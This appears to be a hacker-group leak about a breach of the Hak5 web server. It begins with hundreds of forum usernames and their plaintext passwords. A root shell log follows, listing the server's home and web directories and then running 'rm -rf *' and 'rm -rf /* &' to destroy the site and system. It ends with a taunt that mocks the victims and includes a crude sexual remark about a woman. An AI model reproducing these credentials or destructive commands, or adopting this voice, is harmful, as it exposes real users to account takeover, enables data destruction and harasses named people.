vinnythespy - igotfs 25132 vivek.ramachandran - abc123321 25133 vivianopoluoff - 4eC5aeS129 25134 vladdrac - 123qwe29! 25135 vnkitecom - n147n147 25136 vodiaxdor - ZEUY94u949 25137 vodka iordanov - jkgjhg584585417455 25138 vofred - JQw92fH324 25139 voksdassy - ASVjHPD165 25140 vonyoptothbom - 1yxnDJd963 25141 voodootorture - iknowyoucanreadthis 25142 voodootorture - iknowyoucanreeadthis 25143 vote4bush - imaskater 25144 vpgregory - USNuwTm382 25145 vrwarp - c0sm0s 25146 vtolfreak - xdgxcjnxd1 25147 vxmichael - we0U2Kh294 25148 vylan4night - Databit11 25149 vylan4night@hotmail.com - Databit11 25150 vylan4night - QuantumCrypt89 25151 vysis - 3musketeer 25152 wachbusuara - QLz2kqe914 25153 wandering - looter 25154 wapko - 24682324d0dae49 25155 warezxxx - qwerty 25156 washington678 - firefox123 25157 waspexceeve - 123456 25158 wayncmaycle - AALz64i247 25159 wazkidwass - thesunism 25160 wazkidwas - thesunism 25161 wdbyghbxrgg - zxczxc 25162 wdhcfjawft - zxczxc 25163 wearnewheerge - zLKY5KO264 25164 webhostbudd - x5BoKelV5VXv 25165 weddingmissis - 7TrgtHD519 25166 weesh68 - duffer 25167 weesh - duffer 25168 weimatott - 6Fp2hCC686 25169 wessaciseewly - nc4QJji636 25170 wessonart - 8OVjF06759 25171 westside - westside 25172 wetelectric - 575113f216f152f 25173 wetwork - Hall0w3dp01nt 25174 wetwork - n3tw0rk1ng 25175 wetwork - N3tw0rk1ng 25176 wexqejv - QsEfTh22 25177 wh1t3_f1r3 - 1a1a3c7g5e1a2b3c1a2b 25178 wh1t3_f1r3 - jufjufjuf 25179 wh1t3_f1r3 - user367 25180 whahmeaft - 0prnpwt282 25181 whashymychomo - wCknc3v221 25182 what - what 25183 whedgit - whedgit06 25184 wheelerie - pulQzaD311 25185 wheelnut53 - assbutt 25186 whereishere - iwashere 25187 whereishere - iwashere2 25188 whizzy - chan133 25189 whoisciaradating - 786786786 25190 whoisravensymone - 786786 25191 wholly - wordpass 25192 wickerpatiofurniture - usk0jS8972 25193 wieweet - 33rozen 25194 will-wtf - spamspam 25195 winkelmm - podidae3 25196 winsooniz - 1A7Rk3H438 25197 winstonsmith - westside 25198 winstonsmtih - westside 25199 wireman99 - hotwire 25200 wire - mathnet 25201 wire - sillyoyster 25202 wisntonsmith - westside 25203 wissam - tahraoui2 25204 wm_hunter - potter 25205 wm_hunter - potter1337101 25206 wocmynu - QsEfTh22 25207 wojtefb5 - OXzjPrG748 25208 wolfman2g1 - aim120c 25209 wolfman2g1 - northrop 25210 wolfman - RnQbHJN115 25211 wonderer4711 - fender 25212 woodstriker - 31011982 25213 woogi - passport 25214 woovaoregelef - GSB1C7I447 25215 woummamma - is6OvNe651 25216 wow - calcio90 25217 wrecked - foot5895 25218 wricealteceix - PEan0x8397 25219 wronickiviomi - GjNcdne889 25220 wtfacoconut - netgear 25221 wtfacoconut - netgear1 25222 wuhjeww - QsEfTh22 25223 wwb - nookie 25224 wygbone - can you get in 25225 x5h4d0wx - j000717121426 25226 xakep - 1music! 25227 xamboozi - f8#uf3ch 25228 xamlit - jesus1 25229 xane - elk3428 25230 xcrwbfk - QsEfTh22 25231 xerkitsko - asdf1234 25232 xipher - qs795*ui 25233 xkwafcg - QsEfTh22 25234 xor - falc1138 25235 xrumertest - 123456789 25236 xujal xumal - labrador 25237 xujal xumal - mahmut 25238 xxnirvashxx - ------ 25239 xxnirvashxx - D99132 25240 xxumbroxx - 3760504 25241 xxumbroxx - 3889028 25242 xxxusagirlsexxxtt - 123456789 25243 xyzzy - hackbutverify 25244 xzxtransform - fudukePaulita 25245 yamas - da8527aaa0b72f8 25246 yamasthegeek - think 25247 yamas - think182 25248 ycikerabbo - H4k5.0r9P455w0rd! 25249 ygdpzbm - QsEfTh22 25250 yhnuyrhtyp - zxczxc 25251 yickerabbo - H4k5.0r9P455w0rd! 25252 yickerabbo - H4k5.c0mP455w0rd! 25253 yickerabbo - H4k5.C0mP455w0rd! 25254 yickerabbo - H4k5.c0mP455word! 25255 ylkmfse - QsEfTh22 25256 yngdrum - 0501cs 25257 yngdrum - 3e333fc33aae58b 25258 youji213 - 585648 25259 youji69 - 585648 25260 younghartwig - mr_n1c3guy 25261 yourpharmacystoreonline - storeonline123 25262 youssef29 - ireland 25263 yozki - shadow 25264 yrrxfwd - QsEfTh22 25265 yshnrvn - QsEfTh22 25266 yuze - ctlol0614 25267 zavvi1 - alwicn 25268 zavvi1 - kelson 25269 zavvi1 - qbal93079 25270 zavvi - alwicn 25271 zavvi - kelson 25272 zavvi - password 25273 zavvi - qbal93079 25274 zaykomoyoc - au9FnvU651 25275 zaykomoyod - hl2RWui359 25276 zaykomoyoe - X8EmJzn981 25277 zekemann - Lol69.mUh 25278 zekemann - mastermax91 25279 zemundutt - mGdE77y763 25280 zenboomerang - bqDOgnAbhj1HbBnIyool 25281 zenionepielay - L8wu6qI492 25282 zerenornroack - kEA2jK 25283 zerosan - lordzero 25284 zerotech - aleszagar 25285 zester - Spyderman1 25286 zetaavaky - a89qymE667 25287 zgczqmv - QsEfTh22 25288 zhdhutrtjy - zxczxc 25289 zhtjyfryjt - zxczxc 25290 zigzagjoe - omfgpass0 25291 zimmer - *(david) 25292 zimmer - *(djm16) 25293 ziplybrilibox - ZEUY94u949 25294 zippisugslarl - RaG4Svh641 25295 zipx2k5 - internet 25296 zipx2k5 - random263 25297 zircon91 - naNo2tEch 25298 zkhmruw - QsEfTh22 25299 zmwgvwn - QsEfTh22 25300 zohoman - KDcaVBK536 25301 zoliappali - SqcrR1U214 25302 zombo09 - abababab 25303 zoolehofownew - mZYTFoc117 25304 zoos - wfj4w7v 25305 zorratsearork - YLriEgU582 25306 zprime - Metroid6 25307 zqwpqwz - QsEfTh22 25308 zrrrkvf - QsEfTh22 25309 ztvtrpf - QsEfTh22 25310 zubzero - Heia1337 25311 zubzeroo - Heia1337 25312 zuluroot - hotmail 25313 zvhumberto - Ag03XGx218 25314 zvqxzsh - QsEfTh22 25315 zware - qazwsx 25316 25317 // We're ready to uncage the rm shark 25318 25319 root@web02 [/home2/hak5/www/forums]# ls -la /home 25320 total 368 25321 drwx--x--x 60 root root 12288 Jun 29 13:07 ./ 25322 drwxr-xr-x 27 root root 4096 Jun 28 19:29 ../ 25323 -rwxr--r-- 1 root root 32768 Jul 12 03:14 aquota.user* 25324 drwx--x--x 15 azsmile azsmile 4096 Jun 30 00:10 azsmile/ 25325 lrwxrwxrwx 1 root root 15 Jul 22 2008 bigrv4le -> 25326 /home2/bigrv4le/ 25327 lrwxrwxrwx 1 root root 15 Jul 22 2008 birkett2 -> 25328 /home2/birkett2 25329 drwx--x--x 16 bizpartn bizpartn 4096 Jul 7 03:14 bizpartn/ 25330 drwx--x--x 13 brannock brannock 4096 Jun 8 01:35 brannock/ 25331 drwx--x--x 14 calmdrag calmdrag 4096 Jun 30 00:10 calmdrag/ 25332 drwx--x--x 28 cgerling cgerling 4096 Jul 11 20:52 cgerling/ 25333 drwx--x--x 14 charming charming 4096 Jun 8 22:58 charming/ 25334 drwx--x--x 14 chewonth chewonth 4096 Jun 9 01:21 chewonth/ 25335 drwx------ 3 clamav clamav 4096 Jul 24 2008 clamav/ 25336 lrwxrwxrwx 1 root root 15 Jul 22 2008 comefind -> 25337 /home2/comefind/ 25338 drwx--x--x 14 cosmetic cosmetic 4096 Jun 9 08:06 cosmetic/ 25339 drwxr-xr-x 5 root root 4096 Jul 10 06:07 .cpan/ 25340 drwx--x--x 3 root root 4096 Jun 8 01:00 cpbackuptmp/ 25341 drwx------ 6 root root 4096 Jul 11 06:07 .cpcpan/ 25342 drwx------ 4 root root 4096 Jul 27 2008 cpeasyapache/ 25343 drwx--x--x 17 cpshout cpshout 4096 Jun 9 15:25 cpshout/ 25344 lrwxrwxrwx 1 root root 12 Jul 22 2008 curly -> /home2/curly/ 25345 drwx--x--x 16 dcsguys dcsguys 4096 Jun 8 01:21 dcsguys/ 25346 drwx--x--x 16 divergen divergen 4096 Jun 11 23:23 divergen/ 25347 drwx--x--x 14 drfergus drfergus 4096 Jun 9 13:31 drfergus/ 25348 lrwxrwxrwx 1 root root 15 Jul 22 2008 drkhaksa -> 25349 /home2/drkhaksa/ 25350 drwx--x--x 23 ellis ellis 4096 Jun 30 00:10 ellis/ 25351 lrwxrwxrwx 1 root root 15 Jul 22 2008 empireim -> 25352 /home2/empireim 25353 drwx--x--x 16 fineberg fineberg 4096 Jun 8 01:20 fineberg/ 25354 lrwxrwxrwx 1 root root 12 Jul 22 2008 fitzy -> /home2/fitzy/ 25355 lrwxrwxrwx 1 root root 15 Jul 22 2008 gamingsi -> 25356 /home2/gamingsi/ 25357 lrwxrwxrwx 1 root root 14 Jul 22 2008 habrown -> 25358 /home2/habrown/ 25359 lrwxrwxrwx 1 root root 11 Jul 22 2008 hak5 -> /home2/hak5/ 25360 drwxr-xr-x 5 hak5darren hak5darren 4096 Feb 24 02:05 hak5darren/ 25361 lrwxrwxrwx 1 root root 15 Jul 22 2008 hangover -> 25362 /home2/hangover 25363 drwx--x--x 14 hercules hercules 4096 Jun 8 21:59 hercules/ 25364 drwx--x--x 13 hfcazc hfcazc 4096 Jun 9 20:35 hfcazc/ 25365 lrwxrwxrwx 1 root root 14 Jul 22 2008 hterry3 -> 25366 /home2/hterry3/ 25367 lrwxrwxrwx 1 root root 14 Jul 22 2008 jmadmin -> 25368 /home2/jmadmin 25369 drwx--x--x 15 judyhuey judyhuey 4096 Jun 30 00:10 judyhuey/ 25370 lrwxrwxrwx 1 root root 15 Jul 22 2008 justingr -> 25371 /home2/justingr/ 25372 drwx--x--x 14 jwbass jwbass 4096 Jun 9 20:30 jwbass/ 25373 lrwxrwxrwx 1 root root 14 Jul 22 2008 kamerch -> 25374 /home2/kamerch/ 25375 lrwxrwxrwx 1 root root 14 Jul 22 2008 kgoblin -> 25376 /home2/kgoblin 25377 drwx--x--x 15 lafayett lafayett 4096 Jun 8 11:14 lafayett/ 25378 drwx--x--x 25 linuxjoe linuxjoe 4096 Jun 26 16:09 linuxjoe/ 25379 drwx--x--x 16 logoall logoall 4096 Jun 30 00:10 logoall/ 25380 drwx------ 2 root root 16384 Jul 10 2008 lost+found/ 25381 drwx--x--x 12 madera madera 4096 Jun 9 01:05 madera/ 25382 lrwxrwxrwx 1 root root 14 Jul 22 2008 mattdiv -> 25383 /home2/mattdiv 25384 lrwxrwxrwx 1 root root 14 Jul 22 2008 metdent -> 25385 /home2/metdent/ 25386 drwx--x--x 13 milldent milldent 4096 Jun 9 01:02 milldent/ 25387 drwx--x--x 13 mydtc mydtc 4096 Jun 8 22:18 mydtc/ 25388 drwx--x--x 13 mygarden mygarden 4096 Jun 8 20:58 mygarden/ 25389 drwx------ 2 root root 4096 Jun 3 03:15 MySQL-install/ 25390 drwx--x--x 22 norton norton 4096 Jul 11 20:50 norton/ 25391 lrwxrwxrwx 1 root root 11 Jul 22 2008 orga -> /home2/orga 25392 drwx--x--x 15 otokobos otokobos 4096 Jun 8 23:17 otokobos/ 25393 drwx--x--x 18 paseo paseo 4096 Jun 8 11:17 paseo/ 25394 drwx--x--x 18 pcidenta pcidenta 4096 Jun 8 22:00 pcidenta/ 25395 drwx--x--x 13 pietrzak pietrzak 4096 Jun 9 00:58 pietrzak/ 25396 drwx--x--x 13 practice practice 4096 Jun 9 00:57 practice/ 25397 drwx--x--x 14 prospect prospect 4096 Jun 9 20:27 prospect/ 25398 drwx--x--x 14 qdental qdental 4096 Jun 9 08:00 qdental/ 25399 -rwxr--r-- 1 root root 3212448 May 26 20:17 quota.user* 25400 drwx--x--x 15 recreal recreal 4096 Jun 9 08:04 recreal/ 25401 drwx--x--x 15 rickdurk rickdurk 4096 Jun 8 01:06 rickdurk/ 25402 drwx--x--x 20 rvadmin rvadmin 4096 Jul 11 06:07 rvadmin/ 25403 lrwxrwxrwx 1 root root 15 Jul 22 2008 sadistic -> 25404 /home2/sadistic/ 25405 lrwxrwxrwx 1 root root 13 Jul 22 2008 scream -> 25406 /home2/scream/ 25407 lrwxrwxrwx 1 root root 14 Jul 22 2008 sethdiv -> 25408 /home2/sethdiv/ 25409 lrwxrwxrwx 1 root root 15 Jul 22 2008 sethryde -> 25410 /home2/sethryde/ 25411 drwx--x--x 15 sharpsmi sharpsmi 4096 Jun 9 01:02 sharpsmi/ 25412 drwx--x--x 14 sladellc sladellc 4096 Jun 9 08:07 sladellc/ 25413 drwx--x--x 15 smilearc smilearc 4096 Jul 10 20:40 smilearc/ 25414 drwx--x--x 19 soundid soundid 4096 Jun 30 00:10 soundid/ 25415 drwx--x--x 13 stepsess stepsess 4096 Jun 9 01:05 stepsess/ 25416 drwx--x--x 16 swelevat swelevat 4096 Jun 30 00:10 swelevat/ 25417 drwx--x--x 14 swsupers swsupers 4096 Jun 30 00:10 swsupers/ 25418 lrwxrwxrwx 1 root root 10 Jul 22 2008 tff -> /home2/tff 25419 drwxr-xr-x 3 root root 4096 Jul 11 2008 tmp/ 25420 drwx--x--x 12 trunorth trunorth 4096 Jun 8 01:19 trunorth/ 25421 drwx--x--x 16 valencia valencia 4096 Jun 8 22:16 valencia/ 25422 lrwxrwxrwx 1 root root 14 Jul 22 2008 viawest -> 25423 /home2/viawest/ 25424 drwx--x--x 14 vwpaintr vwpaintr 4096 Jun 8 11:24 vwpaintr/ 25425 lrwxrwxrwx 1 root root 14 Jul 22 2008 wcars05 -> 25426 /home2/wcars05 25427 drwx--x--x 15 webmedia webmedia 4096 Jun 30 00:10 webmedia/ 25428 drwx--x--x 19 wmrx wmrx 4096 Jun 9 13:32 wmrx/ 25429 drwx--x--x 14 wmrxinf wmrxinf 4096 Jun 9 20:28 wmrxinf/ 25430 root@web02 [/home2/hak5/www/forums]# cd 25431 root@web02 [~]# uname -a 25432 Linux web02.divergentnetworks.com 2.6.18-128.1.14.el5 #1 SMP Wed Jun 17 25433 06:40:54 EDT 2009 i686 i686 i386 GNU/Linux 25434 root@web02 [~]# cd /home/hak5 25435 root@web02 [/home/hak5]# ls -al 25436 total 173932 25437 drwx--x--x 25 hak5 hak5 4096 Jul 2 21:26 ./ 25438 drwx--x--x 38 root root 4096 Jun 18 00:22 ../ 25439 lrwxrwxrwx 1 hak5 hak5 30 Jul 22 2008 access-logs -> 25440 /usr/local/apache/domlogs/hak5/ 25441 lrwxrwxrwx 1 hak5 hak5 10 Jul 22 2008 anon_ftp -> public_ftp/ 25442 -rw------- 1 hak5 hak5 1544 May 1 19:27 .bash_history 25443 -rw-r--r-- 1 hak5 hak5 24 Feb 22 2008 .bash_logout 25444 -rw-r--r-- 1 hak5 hak5 191 Feb 22 2008 .bash_profile 25445 -rw-r--r-- 1 hak5 hak5 124 Feb 22 2008 .bashrc 25446 lrwxrwxrwx 1 hak5 hak5 19 Jul 22 2008 cgi-bin -> 25447 public_html/cgi-bin/ 25448 drwxr-x--- 2 hak5 hak5 4096 Feb 7 2008 conf/ 25449 -rw------- 1 hak5 hak5 0 Feb 22 2008 .contactemail 25450 drwx------ 5 hak5 hak5 4096 Feb 24 2008 .cpanel/ 25451 drwxr-xr-x 4 hak5 hak5 4096 Nov 29 2008 cpanel3-skel/ 25452 -rw-r----- 1 hak5 hak5 1 Jun 8 11:48 cpbackup-exclude.conf 25453 drwxr-xr-x 3 hak5 hak5 4096 Jul 21 2008 cpmove.psql/ 25454 drwxr-xr-x 2 hak5 hak5 4096 Feb 22 2008 cpmove.psql.1216697313/ 25455 -rw-r--r-- 1 hak5 hak5 8 May 1 19:27 .dns 25456 -rw-r--r-- 1 hak5 hak5 383 Feb 22 2008 .emacs 25457 drwxr-xr-x 2 hak5 hak5 4096 Feb 22 2008 error_docs/ 25458 drwxr-x--- 3 hak5 mail 4096 Aug 19 2008 etc/ 25459 -rw------- 1 hak5 hak5 17 Jun 24 03:14 .ftpquota 25460 -rw-r--r-- 1 hak5 hak5 146463861 Jul 22 2008 hak5_hak5wiki.sql 25461 -rwxrwxrwx 1 hak5 hak5 19 Apr 23 2007 .htpasswd* 25462 drwxr-x--- 2 hak5 nobody 4096 Jul 21 2008 .htpasswds/ 25463 -rw-r--r-- 1 hak5 hak5 5389 Jun 1 2007 httpd.config.old 25464 drwxr-x--- 7 hak5 hak5 4096 Apr 25 2007 httpsdocs/ 25465 -rw-r--r-- 1 hak5 hak5 7 Jul 21 2008 .lang 25466 -rw------- 1 hak5 hak5 14 Jul 2 21:26 .lastlogin 25467 -rw------- 1 hak5 hak5 35 Feb 24 18:23 .lesshst 25468 drwxrwx--- 6 hak5 hak5 4096 Jul 19 16:15 mail/ 25469 drwxr-xr-x 4 hak5 hak5 4096 Jul 21 2008 .mozilla/ 25470 drwxr-x--- 2 hak5 hak5 4096 Apr 23 2007 pd/ 25471 drwx------ 2 hak5 hak5 4096 Dec 22 2007 private/ 25472 drwxr-x--- 5 hak5 hak5 4096 Aug 20 2008 public_ftp/ 25473 drwxr-xr-x 64 hak5 nobody 4096 Jul 19 17:39 public_html/ 25474 drwxr-xr-x 3 hak5 hak5 4096 Aug 20 2008 rev3/ 25475 -rw-r--r-- 1 hak5 hak5 31233829 Sep 6 2008 sbbs.rar 25476 dr-xr-x--- 7 hak5 hak5 4096 Apr 22 2007 statistics/ 25477 drwxr-xr-x 5 hak5 hak5 4096 Mar 19 2008 subdomains/ 25478 -rw-r--r-- 1 hak5 hak5 50886 Mar 4 2008 test 25479 drwxrwxrwt 34 hak5 hak5 4096 Mar 16 00:14 tmp/ 25480 drwx------ 2 hak5 hak5 4096 May 15 2008 .trash/ 25481 drwxr-xr-x 3 hak5 hak5 4096 Dec 21 2007 usr/ 25482 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 web_users/ 25483 lrwxrwxrwx 1 hak5 hak5 11 Jul 22 2008 www -> public_html/ 25484 -rw-r--r-- 1 hak5 hak5 658 Feb 22 2008 .zshrc 25485 drwxrwxrwx 25 nobody nobody 4096 Jun 24 14:51 zz/ 25486 root@web02 [/home/hak5]# cd public_html 25487 root@web02 [/home/hak5/public_html]# ls -al 25488 total 104412 25489 drwxr-xr-x 2 hak5 hak5 4096 Dec 22 2007 ~/ 25490 drwxr-xr-x 64 hak5 nobody 4096 Jul 19 17:39 ./ 25491 drwx--x--x 25 hak5 hak5 4096 Jul 2 21:26 ../ 25492 -rw-r-xr-x 1 hak5 hak5 19 May 5 14:43 1nfo.php* 25493 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 2x01s1/ 25494 -rw-r-xr-x 1 hak5 hak5 1010 Apr 22 2007 400.shtml* 25495 -rw-r-xr-x 1 hak5 hak5 953 Apr 22 2007 403.shtml* 25496 -rw-r-xr-x 1 hak5 hak5 954 Apr 22 2007 404.shtml* 25497 drwxr-xr-x 2 hak5 hak5 4096 Jan 11 2009 421/ 25498 -rw-r-xr-x 1 hak5 hak5 1256 Apr 22 2007 500.shtml* 25499 drwxr-xr-x 4 hak5 hak5 4096 Aug 16 2007 aardwolf/ 25500 drwxr-xr-x 6 hak5 hak5 4096 Mar 29 14:46 ~aardwolf/ 25501 drwxr-xr-x 3 hak5 hak5 4096 Nov 26 2008 ads/ 25502 drwxr-xr-x 3 hak5 hak5 4096 Jul 2 2008 aping/ 25503 drwxr-xr-x 2 hak5 hak5 4096 Feb 16 18:20 broken-flash-player/ 25504 drwxr-xr-x 3 hak5 hak5 4096 Feb 22 2008 cgi-bin/ 25505 drwxr-xr-x 4 hak5 hak5 4096 Apr 28 00:52 chat/ 25506 drwxr-xr-x 2 hak5 hak5 4096 Aug 27 2007 comic/ 25507 -rw-r-xr-x 1 hak5 hak5 219 Feb 14 2008 crossdomain.xml* 25508 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 css/ 25509 drwxr-xr-x 2 hak5 hak5 4096 Jul 28 2008 darren/ 25510 -rw-r-xr-x 1 hak5 hak5 434127 Apr 3 2008 digsby.jpg* 25511 drwxr-xr-x 7 hak5 hak5 4096 Jan 17 2008 docuwiki/ 25512 drwxr-xr-x 3 hak5 hak5 4096 May 4 2007 e/ 25513 -rw-r-xr-x 1 hak5 hak5 7 Apr 29 09:51 eggs.txt* 25514 drwxr-xr-x 2 hak5 hak5 4096 Apr 26 15:33 episodes/ 25515 drwxr-xr-x 2 hak5 hak5 4096 Jan 9 2008 eps/ 25516 drwxr-xr-x 2 hak5 hak5 4096 Dec 2 2008 evilserver/ 25517 -rw-r-xr-x 1 hak5 hak5 6894 Apr 23 2007 favicon.ico* 25518 drwxr-xr-x 2 hak5 hak5 4096 Apr 15 11:24 files/ 25519 -rw-r-xr-x 1 hak5 hak5 132711 Feb 14 2006 FlashIRCChat.swf* 25520 drwxr-xr-x 2 hak5 hak5 4096 Sep 9 2008 fon/ 25521 drwxr-xr-x 22 hak5 hak5 4096 Jun 28 19:51 forums/ 25522 drwxr-xr-x 20 hak5 hak5 4096 Oct 6 2008 forums_backup/ 25523 -rw-r-xr-x 1 hak5 hak5 96263988 Apr 22 16:35 25524 Hak5--all-themes-and-bumpers.zip* 25525 -rw-r-xr-x 1 hak5 hak5 116237 Aug 15 2008 hak5black.jpg* 25526 -rw-r-xr-x 1 hak5 hak5 58410 Sep 10 2008 hak5--stickers2.jpg* 25527 drwxr-xr-x 2 hak5 hak5 4096 Nov 19 2008 HakHouseCamSetup/ 25528 -rw-r-xr-x 1 hak5 hak5 864 Oct 8 2007 hitachi.html* 25529 -rw-r-xr-x 1 hak5 hak5 1859 Jul 19 17:39 .htaccess* 25530 drwxr-xr-x 29 hak5 hak5 12288 Jul 4 09:21 images/ 25531 drwxr-xr-x 5 hak5 hak5 4096 Jul 13 2006 img/ 25532 -rw-r-xr-x 1 hak5 hak5 347 Apr 1 2008 index.html.aprilfools* 25533 -rw-r-xr-x 1 hak5 hak5 149 Apr 22 2007 index.html.bak* 25534 -rw-r-xr-x 1 hak5 hak5 397 Jun 20 10:49 index.php* 25535 -rw-r-xr-x 1 hak5 hak5 21 Feb 22 2008 info.php* 25536 -rw-r-xr-x 1 hak5 hak5 13806 Feb 13 2008 IrcClient.swf* 25537 drwxr-xr-x 2 hak5 hak5 4096 Sep 21 2007 jangl/ 25538 drwxr-xr-x 2 hak5 hak5 4096 May 11 20:29 js/ 25539 -rw-r-xr-x 1 hak5 hak5 121177 Jan 19 2004 kerberos.jpg* 25540 -rw-r-xr-x 1 hak5 hak5 54401 Apr 22 2007 kerby503.jpg* 25541 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 lanparty/ 25542 -rw-r-xr-x 1 hak5 hak5 15410 Jun 20 10:49 license.txt* 25543 drwxr-xr-x 4 hak5 hak5 4096 Jun 4 2007 live00/ 25544 -rw-r-xr-x 1 hak5 hak5 373983 Apr 6 2008 logo.psd* 25545 -rw-r-xr-x 1 hak5 hak5 1140360 Sep 27 2008 lp.exe* 25546 -rw-r-xr-x 1 hak5 hak5 296996 Jul 1 2008 mediakit.pdf* 25547 -rw-r-xr-x 1 hak5 hak5 11730 Apr 1 2008 monkey.gif* 25548 -rw-r-xr-x 1 hak5 hak5 47175 Apr 1 2008 monkey.jpg* 25549 drwxr-xr-x 2 hak5 hak5 4096 Aug 26 2007 music/ 25550 drwxr-xr-x 2 hak5 hak5 4096 Sep 6 2007 noob/ 25551 drwxr-xr-x 3 hak5 hak5 4096 Apr 13 2008 nooblube/ 25552 drwxr-xr-x 2 hak5 hak5 4096 Mar 31 2008 omniotaku/ 25553 -rw-r-xr-x 1 hak5 hak5 104756 Mar 31 2008 omniotaku.jpg* 25554 drwxr-xr-x 3 hak5 hak5 4096 May 7 2007 packages/ 25555 -rw-r-xr-x 1 hak5 hak5 455 Jun 28 19:47 php.ini* 25556 drwxr-xr-x 7 hak5 hak5 4096 Jun 26 19:01 phpMyBackupPro/ 25557 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 picture_library/ 25558 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 plesk-stat/ 25559 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 poll/ 25560 drwxr-xr-x 2 hak5 hak5 4096 May 5 2007 polls/ 25561 drwxr-xr-x 2 hak5 hak5 4096 Mar 20 16:21 promo/ 25562 -rw-r-xr-x 1 hak5 hak5 7638 Jun 20 10:49 readme.html* 25563 -rw-r--r-- 1 hak5 hak5 106 Jun 30 23:29 realdarren.txt 25564 drwxr-xr-x 6 hak5 hak5 4096 Jul 11 2008 releases/ 25565 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 remote/ 25566 drwxr-xr-x 2 hak5 hak5 4096 Mar 6 10:25 reserved/ 25567 drwxr-xr-x 3 hak5 hak5 4096 Feb 20 00:31 rss/ 25568 -rw-r-xr-x 1 hak5 hak5 1202 Apr 29 09:56 rtt.php* 25569 drwxr-xr-x 2 hak5 hak5 4096 May 18 2007 rules/ 25570 -rw-r-xr-x 1 hak5 hak5 1712 Dec 29 2008 segment.php* 25571 drwxr-xr-x 2 hak5 hak5 4096 Aug 2 2008 setcam/ 25572 drwxr-xr-x 17 hak5 hak5 4096 Jul 2 17:09 shop/ 25573 drwxrwxrwx 2 hak5 hak5 4096 Jul 1 14:47 shopp/ 25574 drwxr-xr-x 2 hak5 hak5 4096 Sep 26 2008 somethingnew/ 25575 drwxr-xr-x 12 hak5 hak5 4096 May 5 16:12 store_2/ 25576 drwxr-xr-x 13 hak5 hak5 4096 Jul 2 21:39 store_3/ 25577 drwxr-xr-x 2 hak5 hak5 4096 Apr 22 2007 stream/ 25578 -rw-r-xr-x 1 hak5 hak5 715 Aug 14 2007 stream.html* 25579 drwxr-xr-x 2 hak5 hak5 4096 Dec 21 2007 stuff/ 25580 drwxr-xr-x 2 hak5 hak5 4096 Feb 23 2008 suspended.page/ 25581 -rw-r-xr-x 1 hak5 hak5 6817944 Oct 31 2008 telcobobs-stereo.mp4* 25582 drwxr-xr-x 9 hak5 hak5 4096 Jul 13 12:28 temp/ 25583 drwxr-xr-x 9 hak5 hak5 4096 Apr 22 2007 test/ 25584 -rw-r-xr-x 1 hak5 hak5 830 Dec 12 2008 trivia.php* 25585 -rw-r-xr-x 1 hak5 hak5 100987 Jul 1 12:01 twin.html* 25586 drwxr-xr-x 3 hak5 hak5 4096 Jun 10 10:49 w/ 25587 drwxr-xr-x 7 hak5 hak5 4096 Jun 20 10:50 wp-admin/ 25588 -rw-r-xr-x 1 hak5 hak5 40543 Jun 20 10:49 wp-app.php* 25589 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-atom.php* 25590 drwxr-xr-x 2 hak5 hak5 4096 Feb 24 18:03 wpau-backup/ 25591 -rw-r-xr-x 1 hak5 hak5 274 Jun 20 10:49 wp-blog-header.php* 25592 -rw-r-xr-x 1 hak5 hak5 3649 Jun 20 10:49 wp-comments-post.php* 25593 -rw-r-xr-x 1 hak5 hak5 238 Jun 20 10:49 wp-commentsrss2.php* 25594 -rw-r-xr-x 1 hak5 hak5 910 Feb 22 2008 wp-config.php* 25595 -rw-r-xr-x 1 hak5 hak5 2626 Jun 20 10:49 wp-config-sample.php* 25596 drwxr-xr-x 13 hak5 hak5 4096 Jul 2 22:40 wp-content/ 25597 -rw-r-xr-x 1 hak5 hak5 1254 Jun 20 10:49 wp-cron.php* 25598 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-feed.php* 25599 drwxr-xr-x 6 hak5 hak5 4096 Jun 20 10:49 wp-includes/ 25600 -rw-r-xr-x 1 hak5 hak5 1946 Jun 20 10:49 wp-links-opml.php* 25601 -rw-r-xr-x 1 hak5 hak5 2341 Jun 20 10:49 wp-load.php* 25602 -rw-r-xr-x 1 hak5 hak5 21019 Jun 20 10:49 wp-login.php* 25603 -rw-r-xr-x 1 hak5 hak5 7113 Jun 20 10:49 wp-mail.php* 25604 -rw-r-xr-x 1 hak5 hak5 487 Jun 20 10:49 wp-pass.php* 25605 -rw-r-xr-x 1 hak5 hak5 218 Jun 20 10:49 wp-rdf.php* 25606 -rw-r-xr-x 1 hak5 hak5 316 Jun 20 10:49 wp-register.php* 25607 -rw-r-xr-x 1 hak5 hak5 220 Jun 20 10:49 wp-rss2.php* 25608 -rw-r-xr-x 1 hak5 hak5 218 Jun 20 10:49 wp-rss.php* 25609 -rw-r-xr-x 1 hak5 hak5 21213 Jun 20 10:49 wp-settings.php* 25610 -rw-r-xr-x 1 hak5 hak5 3434 Jun 20 10:49 wp-trackback.php* 25611 -rw-r-xr-x 1 hak5 hak5 92144 Jun 20 10:49 xmlrpc.php* 25612 drwxr-xr-x 11 hak5 hak5 4096 Mar 3 2008 yshout/ 25613 root@web02 [/home/hak5/public_html]# rm -rf * 25614 root@web02 [/home/hak5/public_html]# nano index.html 25615 root@web02 [/home/hak5/public_html]# rm -rf /* & 25616 25617 We could have put a lot more effort into Hak5, but let's face it: they just 25618 don't register, they are not hackers. I think they are lesser hackers than cDc. 25619 Mubix is their inhouse security expert, he even knows how to use Dan Kam's code 25620 and tunnel over DNS! But he reused an all lower-case-alpha password on his 25621 LIFE. These guys are just too easy. Hak5: Don't come back soon and have a great 25622 time interviewing s/hackers/other wannabes/ at defcon :). 25623 25624 One other thing, If that broad you have working on your show offers to take a 25625 shower of spunk from ZF0 at defcon, we might be tempted to not rm you again. 25626 Bear it in mind. 25627 25628 25629 IRC logs are funny. 25630 25631 04:36 < prdelka> root@web02 [/home/hak5/public_html]# rm -rf * 25632 04:36 < prdelka> root@web02 [/home/hak5/public_html]# 25633 04:36 < prdelka> root@web02 [/home/hak5/public_html]# 25634 04:36 < prdelka> root@web02 [/home/hak5/public_html]# nano index.html 25635 04:36 < prdelka> root@web02 [/home/hak5/public_html]# rm -rf /* & 25636 04:36 < prdelka> [1] 